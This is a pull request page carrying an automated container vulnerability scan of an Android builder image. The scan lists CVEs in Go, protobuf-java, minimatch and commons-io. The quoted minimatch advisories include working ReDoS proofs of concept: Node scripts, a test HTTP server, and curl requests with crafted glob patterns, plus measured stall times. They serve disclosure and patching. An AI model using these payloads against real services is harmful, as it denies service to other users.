Fix missing platform-tools

[mottljan]

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[github-actions]

🔍 Vulnerabilities of ackee/gitlab-builder-android:pr

📦 Image Reference ackee/gitlab-builder-android:pr

digest	sha256:693ca63b7569f46dd3bca150ef9d4d4be1eb9cb1f674d948c0cf76edd7421e3a
vulnerabilities
platform	linux/amd64
size	792 MB
packages	614

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.13 Fixed version 1.24.13 EPSS Score 0.016% EPSS Percentile 3rd percentile Description During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 4th percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.12 Fixed version 1.24.12 EPSS Score 0.029% EPSS Percentile 8th percentile Description The net/url package does not set a limit on the number of query parameters in a query. While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.032% EPSS Percentile 9th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.040% EPSS Percentile 12th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.019% EPSS Percentile 5th percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.019% EPSS Percentile 5th percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

com.google.protobuf/protobuf-java 2.6.1 (maven) pkg:maven/com.google.protobuf/protobuf-java@2.6.1 Improper Input Validation Affected range <3.25.5 Fixed version 3.25.5 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.061% EPSS Percentile 19th percentile Description Summary When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. Severity CVE-2024-7254 High CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. Proof of Concept For reproduction details, please refer to the unit tests (Protobuf Java LiteTest and CodedInputStreamTest) that identify the specific inputs that exercise this parsing weakness. Remediation and Mitigation We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: protobuf-java (3.25.5, 4.27.5, 4.28.2) protobuf-javalite (3.25.5, 4.27.5, 4.28.2) protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <3.16.3 Fixed version 3.16.3, 3.19.6, 3.20.3, 3.21.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.073% EPSS Percentile 22nd percentile Description A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <3.16.3 Fixed version 3.16.3, 3.19.6, 3.20.3, 3.21.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.131% EPSS Percentile 33rd percentile Description A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. Incorrect Behavior Order Affected range <3.16.1 Fixed version 3.16.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.329% EPSS Percentile 56th percentile Description Summary A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. Reporter: OSS-Fuzz Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. Severity CVE-2021-22569 High - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. Proof of Concept For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. Remediation and Mitigation Please update to the latest available versions of the following packages: protobuf-java (3.16.1, 3.18.2, 3.19.2) protobuf-kotlin (3.18.2, 3.19.2) google-protobuf [JRuby gem only] (3.19.2)

minimatch 9.0.3 (npm) pkg:npm/minimatch@9.0.3 Inefficient Regular Expression Complexity Affected range >=9.0.0 <9.0.6 Fixed version 10.2.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.052% EPSS Percentile 16th percentile Description Summary minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. PoC When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***: /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. Impact Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes: File search/filter UIs that accept glob patterns .gitignore-style filtering with user-defined rules Build tools that accept glob configuration Any API that exposes glob matching to untrusted input Thanks to @ljharb for back-porting the fix to legacy versions of minimatch. Inefficient Regular Expression Complexity Affected range >=9.0.0 <9.0.7 Fixed version 9.0.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.040% EPSS Percentile 12th percentile Description Summary Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally. Details The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group: : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` This produces the following regexps: Pattern Generated regex *(a|b) /^(?:a|b)*$/ *(*(a|b)) /^(?:(?:a|b)*)*$/ *(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/ *(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/ These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false. The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration. Measured times via minimatch(): Pattern Input Time *(*(a|b)) a x30 + z ~68,000ms *(*(*(a|b))) a x20 + z ~124,000ms *(*(*(*(a|b)))) a x25 + z ~116,000ms *(a|a) a x25 + z ~2,000ms Depth inflection at fixed input a x16 + z: Depth Pattern Time 1 *(a|b) 0ms 2 *(*(a|b)) 4ms 3 *(*(*(a|b))) 270ms 4 *(*(*(*(a|b)))) 115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- verify the generated regexps and timing (standalone script) Save as poc4-validate.mjs and run with node poc4-validate.mjs: import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) Observed output: depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false Step 2 -- HTTP server (event loop starvation proof) Save as poc4-server.mjs: import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) Terminal 1 -- start the server: node poc4-server.mjs Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & Terminal 3 -- send a benign request while the attack is in-flight: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" Observed output -- Terminal 2 (attack): {"result":false,"ms":"64149"} Observed output -- Terminal 3 (benign, concurrent): {"result":false,"ms":"0"} time_total: 63.022047s Terminal 1 (server log): [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. Impact Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. +() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. Inefficient Algorithmic Complexity Affected range >=9.0.0 <9.0.7 Fixed version 9.0.7 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.045% EPSS Percentile 14th percentile Description Summary matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Details The vulnerable loop is in matchOne() at src/index.ts#L960: while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ } When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k). There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input. Measured timing with n=30 path segments: k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s PoC Tested on minimatch@10.2.2, Node.js 20. Step 1 -- inline script import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200ms To scale the effect, increase k: // k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern) No special options are required. This reproduces with the default minimatch() call. Step 2 -- HTTP server (event loop starvation proof) The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common: // poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT) Terminal 1 -- start the server: node poc1-server.mjs Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell: curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" & Terminal 3 -- while the attack is in-flight, send a benign request: curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz" Observed output (Terminal 3): {"result":true,"ms":"0"} time_total: 4.132709s The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline: {"result":true,"ms":"0"} time_total: 0.001599s Impact Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

commons-io/commons-io 2.11.0 (maven) pkg:maven/commons-io/commons-io@2.11.0 Uncontrolled Resource Consumption Affected range >=2.0 <2.14.0 Fixed version 2.14.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.161% EPSS Percentile 37th percentile Description Uncontrolled Resource Consumption vulnerability in Apache Commons IO. The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input. This issue affects Apache Commons IO: from 2.0 before 2.14.0. Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.